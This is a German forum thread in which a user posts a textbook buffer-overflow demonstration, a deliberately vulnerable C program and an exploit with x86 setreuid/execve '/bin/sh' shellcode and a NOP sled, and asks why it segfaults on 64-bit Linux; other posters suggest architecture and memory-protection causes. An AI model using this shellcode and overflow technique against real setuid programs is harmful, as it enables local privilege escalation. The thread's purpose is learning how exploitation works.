michel3712 Geschrieben 1. März 2009 Geschrieben 1. März 2009 Hallo, mein Problem ist wie so oft der berühmte Speicherzugriffsfehler. Obwohl man meinen sollte, daß der falsche Zugriff auf den Speicher ja im allgemeinen relativ leicht auszumachen und zu beheben ist, gilt das für mich leider in diesem Fall nicht. Es handelt sich um zwei kleine Programme, wobei eines - bitte nicht erschrecken - ein sogenanntes Exploit ist und das andere (vuln.c) ein winziges Programm mit absichtlich falscher Speicherverwaltung, um den Einsatz des Exploits zu demonstrieren. (Es geht mir hier natürlich nicht darum, das Exploit für irgenwelche fragwürdigen Zwecke einzusetzen, sondern lediglich darum, besser die Systemzusammenhänge zu verstehen.) Diese Programm sind Beispiele aus einem Buch und sollten eigentlich laufen. Bei mir unter Linux (Linux 2.6.22.5-31-default x86_64) tun sie das aber leider nicht. Der fragliche Shellcode - die Wurzel des Übels ? - funktioniert auch nicht unter dem NASM (Assembler) Auch hier gibt es einen Speicherzugriffsfehler. Es stehen zwei unterschiedliche Shellcodes zur Verfügung und der aktuelle (nicht auskommentierte) ist am Schluß auch nochmal dargestellt in der disassemblierten Form. Mit beiden Codes gibt's den Speicherzugriffsfehler. ---------------------------------------------------------------------------------------------------------------------------- Das erste winzige Programm ist vuln.c : int main(int argc, char *argv) { char buffer[500]; strcpy(buffer,argv[1]); // absichtlich falsche Speicherverwaltung return 0; } --------------------------------------------------------------------------------------------------------- Das zweite Programm ist exploit.c: #include <stdlib.h> char shellcode[]= "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0d\x5b" "\x31\xc0\x50\xb0\x0b\x31\xd2\x53\x89\xe1\xcd\x80\xe8" "\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; /* char shellcode[]= "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43" "\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" "\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; */ unsigned long sp(void) { __asm__("movl %esp,%eax");} int main(int argc, char *argv) { int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset=0; esp=sp(); ret=esp-offset; printf("Stack pointer esp (ESP) : 0x%x\n", esp); printf("Offset from ESP : 0x%x\n", offset); printf("Desired Return Addr : 0x%x\n", ret); // Allocate 600 bytes for buffer (on the heap) buffer=malloc(600); // BIS hier // gesamten Puffer mit der gewünschten ret-Adresse füllen ptr = buffer; addr_ptr=(long*) ptr; for(i=0; i<600; i+=4) { *(addr_ptr++) = ret; } // Die ersten 200 Bytes des Puffers mit NOP-Anweisungen füllen for (i=0; i< 200; i++) { buffer = '\x90'; } // Den Shellcode nach dem NOP-Sled füllen ptr = buffer + 200; for(i=0; i < strlen(shellcode); i++) { *(ptr++)= shellcode; } // Den String beenden buffer[600-1] = 0; // Jetzt das Programm ./vulvn mit dem manip. Argument als buffer aufrufen execl("./vuln", "vuln", buffer, 0); // Speicherpuffer freigeben free(buffer); return 0; } ------------------------------------------------------------------------------------------------------------------ Beide Programme werden übersetzt mit gcc -o exploit exploit.c bzw. gcc -o vuln vuln.c. Folgende Warnungen erscheinen: exploit.c: In Funktion »main«: exploit.c:22: Warnung: Unverträgliche implizite Deklaration der eingebauten Funktion »printf« exploit.c:41: Warnung: Unverträgliche implizite Deklaration der eingebauten Funktion »strlen« exploit.c:48: Warnung: Unverträgliche implizite Deklaration der eingebauten Funktion »execl« vuln.c: In Funktion »main«: vuln.c:5: Warnung: Unverträgliche implizite Deklaration der eingebauten Funktion »strcpy« vuln.c:5: Warnung: Übergabe des Arguments 2 von »strcpy« erzeugt Zeiger von Ganzzahl ohne Typkonvertierung Bei dem Aufruf ./exploit erscheint dann der Speicherzugriffsfehler. Der disassemblierte Programmcode des aktuellen nicht auskommentierten Shellcodes lautet: BITS 32 ; setreuid (uid_t ruid, uid_t euid) xor eax,eax mov al,70 xor ebx,ebx xor ecx,ecx int 0x80 ; execve (const char *filename, char *const arg[], char *const envp[]) jmp short two one: pop ebx xor eax,eax push eax mov al,11 xor edx,edx push ebx mov ecx,esp int 0x80 two: call one db '/bin/sh' Ich wäre schon für einen Tip sehr dankbar, der mich auf die richtige Fährte bringt Beste Grüße Michel Zitieren
Klotzkopp Geschrieben 1. März 2009 Geschrieben 1. März 2009 Ohne mir das jetzt im Detail angesehen zu haben: Könnte es sein, dass der Code für 32-Bit-Systeme gedacht ist? Zitieren
michel3712 Geschrieben 1. März 2009 Autor Geschrieben 1. März 2009 Ja, das habe ich mir auch überlegt. Allerdings habe ich mich verschrieben. Der Assemblercode funktioniert. Wegen meines 64-Bit-Systems hatte ich am Anfang Linkerprobleme, die ich nur durch einen Zusatz für den Linker beseitigen konnte. Mag sein, daß das in ähnlicher Weise auch für den C-Code gilt. Aber wie kann ich das - falls es das ist - unter c berücksichtigen? Fest steht, der Assembler-shellcode wird explizit mit BIT 32 eingeleitet. Zitieren
Guybrush Threepwood Geschrieben 1. März 2009 Geschrieben 1. März 2009 Du versuchst in fremden Speicher zu schreiben und bekommst einen Speicherzugriffsfehler Ich weiß nicht so genau wie Linux das handhabt, aber ich gehe mal stark davon aus das auch dort verhindert wird das ein Prozess auf den Speicher eines anderen Prozesses zugreifen darf und würde da jetzt vermuten das dies geschieht wenn du über die Grenzen deines Buffer hinaus schreibst. Zitieren
Empfohlene Beiträge
Dein Kommentar
Du kannst jetzt schreiben und Dich später registrieren. Wenn Du ein Konto hast, melde Dich jetzt an, um unter Deinem Benutzernamen zu schreiben.